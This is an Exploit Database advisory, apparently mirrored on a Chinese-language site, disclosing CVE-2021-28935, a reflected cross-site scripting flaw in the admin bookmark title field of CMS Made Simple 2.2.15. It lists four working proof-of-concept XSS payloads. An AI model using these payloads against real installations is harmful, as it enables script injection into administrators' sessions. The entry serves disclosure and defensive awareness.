CMS Made Simple 2.2.15 – ‘title’ Cross-Site Scripting (XSS)

• Exploit Database
• 40 阅读

• 作者： bt0
  日期： 2021-04-22
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49793/

• # Exploit Title: CMS Made Simple 2.2.15 - 'title' Cross-Site Scripting (XSS)
  # Date: 2021/03/19
  # Exploit Author: bt0
  # Vendor Homepage: http://www.cmsmadesimple.org/
  # Software Link: https://s3.amazonaws.com/cmsms/downloads/14832/cmsms-2.2.15-install.zip
  # Version: 2.2.15
  # CVE: CVE-2021-28935 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-28935
  
  -----------------------------------------------------------
  
  If you log into Admin panel and open My Preferences you could be able to exploit XSS in title field
  
  Reflected XSS in /admin/addbookmark.php
  
  Some payloads that works:
  
  "><script>prompt(1)</script><"
  "><script>alert(1)</script><"
  63311';alert(1)//812
  //--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
  
  ------------------------------------------------------------